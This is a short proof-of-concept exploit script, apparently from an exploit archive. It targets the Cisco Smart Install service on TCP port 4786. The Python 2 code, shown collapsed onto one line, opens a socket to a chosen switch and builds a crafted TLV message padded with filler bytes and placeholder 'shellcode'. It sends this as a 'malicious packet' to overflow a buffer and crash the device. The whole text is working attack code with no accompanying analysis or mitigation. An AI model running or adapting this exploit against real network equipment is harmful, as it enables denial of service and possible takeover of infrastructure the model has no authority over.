Cisco Smart Install – Crash (PoC)
# smi_ibc_init_discovery_BoF.py import socket import struct from optparse import OptionParser # Parse the target options parser = OptionParser() parser.add_option("-t", "--target", dest="target", help="Smart Install Client", default="192.168.1.1") parser.add_option("-p", "--port", dest="port", type="int", help="Port of Client", default=4786) (options, args) = parser.parse_args() def craft_tlv(t, v, t_fmt='!I', l_fmt='!I'): return struct.pack(t_fmt, t) + struct.pack(l_fmt, len(v)) + v def send_packet(sock, packet): sock.send(packet) def receive(sock): return sock.recv() if __name__ == "__main__": print "[*] Connecting to Smart Install Client ", options.target, "port", options.port con = socket.socket(socket.AF_INET, socket.SOCK_STREAM) con.connect((options.target, options.port)) payload = 'BBBB' * 44 shellcode = 'D' * 2048 data = 'A' * 36 + struct.pack('!I', len(payload) + len(shellcode) + 40) + payload tlv_1 = craft_tlv(0x00000001, data) tlv_2 = shellcode hdr = '\x00\x00\x00\x01' # msg_from hdr += '\x00\x00\x00\x01' # version hdr += '\x00\x00\x00\x07' # msg_hdr_type hdr += struct.pack('>I', len(data)) # data_length pkt = hdr + tlv_1 + tlv_2 print "[*] Send a malicious packet" send_packet(con, pkt) |